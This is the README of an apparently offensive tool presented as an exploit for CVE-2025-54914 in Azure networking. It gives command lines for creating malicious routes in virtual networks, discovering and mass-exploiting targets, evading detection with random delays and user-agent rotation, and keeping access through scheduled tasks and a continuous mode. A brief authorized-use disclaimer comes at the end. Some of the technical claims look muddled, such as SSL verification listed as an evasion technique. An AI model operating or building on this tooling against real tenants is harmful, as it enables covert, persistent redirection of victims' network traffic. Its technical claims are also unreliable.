CVE-2025-54914 Azure Route Exploit

Overview

This is an improved implementation of the CVE-2025-54914 Azure Networking Route exploit. This version maintains the core CVE functionality while adding more features including persistence, evasion, multi-target scanning, and error handling.

Features

Core CVE Functionality

• Route Creation: Creates malicious routes in Azure virtual networks
• Route Deletion: Removes created routes for cleanup
• API Compatibility: Works with Azure Management API 2025-09-01
• Authentication: Supports Azure CLI and manual token authentication

Features

• Evasion Techniques: Random delays, user agent rotation, request obfuscation
• Persistence: Scheduled task creation, continuous monitoring mode
• Multi-Target Scanning: Concurrent scanning and exploitation of multiple targets
• Comprehensive Reporting: Detailed reports with success/failure analysis
• Error Handling: Graceful failure handling and recovery
• Configuration Management: JSON-based target configuration
• Target Discovery: Automatic discovery of vulnerable resources
• Risk Assessment: Vulnerability analysis and risk scoring

Installation

Prerequisites

# Install Python dependencies
pip install requests

# Install Azure CLI (for authentication)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Setup

# Make scripts executable
chmod +x exploit.py
chmod +x exploit_utils.py

# Authenticate with Azure
az login

Usage

Basic Usage

Single Target Exploitation

# Create route on single target
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --address-prefix "10.0.1.0/24" \
    --next-hop-ip "10.0.2.5"

# Delete route
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --route-name "exploit-route-1" \
    --operation delete

Multi-Target Exploitation

# Create configuration file
python exploit_utils.py discover --output targets.json

# Exploit all targets
python exploit.py --targets-file targets.json --operation create

Scan Mode

# Scan targets without exploitation
python exploit.py --targets-file targets.json --scan-only

Persistence Mode

# Enable persistence with 30-minute intervals
python exploit.py --targets-file targets.json --persistence-mode --interval 30

Advanced Usage

Evasion and Stealth

# Custom delay ranges for evasion
python exploit.py \
    --targets-file targets.json \
    --delay-min 1.0 \
    --delay-max 5.0 \
    --max-workers 5

Dry Run Mode

# Test without actual exploitation
python exploit.py --targets-file targets.json --dry-run

Detailed Logging

# Enable debug logging
python exploit.py \
    --targets-file targets.json \
    --log-level DEBUG \
    --log-file exploit.log

Configuration

Target Configuration Format

{
  "targets": [
    {
      "subscription_id": "12345678-1234-1234-1234-123456789012",
      "resource_group": "production-rg",
      "vnet_name": "prod-vnet",
      "subnet_name": "prod-subnet",
      "route_name": "exploit-route-1",
      "address_prefix": "10.0.1.0/24",
      "next_hop_type": "VirtualAppliance",
      "next_hop_ip": "10.0.2.5",
      "api_version": "2025-09-01",
      "priority": 1
    }
  ],
  "metadata": {
    "description": "Target configuration for CVE-2025-54914",
    "created": "2025-01-09",
    "version": "1.0"
  }
}

Environment Variables

# Azure access token (alternative to Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"

# Log level
export LOG_LEVEL="INFO"

Utility Scripts

Target Discovery

# Discover all accessible targets
python exploit_utils.py discover --output discovered_targets.json

# Discover specific subscriptions
python exploit_utils.py discover \
    --subscription-ids "sub1" "sub2" \
    --output targets.json \
    --report discovery_report.txt

Configuration Generation

# Generate exploit configuration from discovered targets
python exploit_utils.py config \
    --input discovered_targets.json \
    --output exploit_config.json \
    --address-prefix "10.0.1.0/24" \
    --next-hop-ip "10.0.2.5"

Vulnerability Analysis

# Analyze targets for risk assessment
python exploit_utils.py analyze \
    --input targets.json \
    --output vulnerability_report.txt

Security Features

Evasion Techniques

• Request Timing: Random delays between requests
• User Agent Rotation: Multiple browser user agents
• Header Obfuscation: Realistic HTTP headers
• SSL Verification: Proper certificate validation

Persistence Mechanisms

• Scheduled Tasks: Windows scheduled task creation
• Continuous Mode: Long-running persistence
• Session Management: State preservation across runs
• Configuration Persistence: Settings saved to disk

Error Handling

• Graceful Degradation: Continues on individual failures
• Timeout Protection: Prevents hanging requests
• Signal Handling: Clean shutdown on interruption
• Resource Cleanup: Automatic cleanup on exit

Reporting

Exploit Reports

• Operation Results: Success/failure for each target
• Timing Information: Execution timestamps
• Error Details: Detailed error messages
• Summary Statistics: Overall success rates

Discovery Reports

• Target Inventory: Complete list of discovered resources
• Subscription Breakdown: Targets grouped by subscription
• Resource Details: VNet, subnet, and location information

Vulnerability Analysis

• Risk Assessment: High/medium/low risk categorization
• Production Indicators: Identification of production environments
• Tag Analysis: Risk scoring based on resource tags

Best Practices

Operational Security

1. Use Dry Run: Always test with --dry-run first
2. Limit Scope: Start with non-production environments
3. Monitor Logs: Review logs for unexpected behavior
4. Clean Up: Remove created routes after testing

Performance Optimization

1. Worker Limits: Adjust --max-workers based on system capacity
2. Delay Tuning: Balance stealth vs. speed with delay settings
3. Batch Processing: Use target files for large-scale operations
4. Resource Monitoring: Monitor system resources during execution

Error Recovery

1. Check Logs: Review error messages for troubleshooting
2. Verify Permissions: Ensure proper Azure permissions
3. Network Connectivity: Verify internet connectivity
4. Token Validity: Check Azure CLI authentication status

Troubleshooting

Common Issues

Authentication Errors

# Re-authenticate with Azure
az login

# Check current account
az account show

# List accessible subscriptions
az account list

Permission Errors

# Check required permissions
az role assignment list --assignee $(az account show --query user.name -o tsv)

Network Errors

# Test connectivity
curl -I https://management.azure.com

# Check proxy settings
echo $HTTP_PROXY
echo $HTTPS_PROXY

Debug Mode

# Enable detailed logging
python exploit.py --log-level DEBUG --log-file debug.log

# Check log file
tail -f debug.log

Legal and Ethical Considerations

⚠️ IMPORTANT: This tool is for authorized security testing only.

• Authorization Required: Only use on systems you own or have explicit permission to test
• Legal Compliance: Ensure compliance with local laws and regulations
• Responsible Disclosure: Report vulnerabilities through proper channels
• Educational Use: This tool is intended for educational and research purposes

License

This project is licensed for research and educational use only. Commercial use requires explicit permission.

Contributing

1. Fork the repository
2. Create a feature branch
3. Make your changes
4. Add tests if applicable
5. Submit a pull request

Support

For issues and questions:

1. Check the troubleshooting section
2. Review the logs for error details
3. Create an issue with detailed information
4. Include relevant configuration and error messages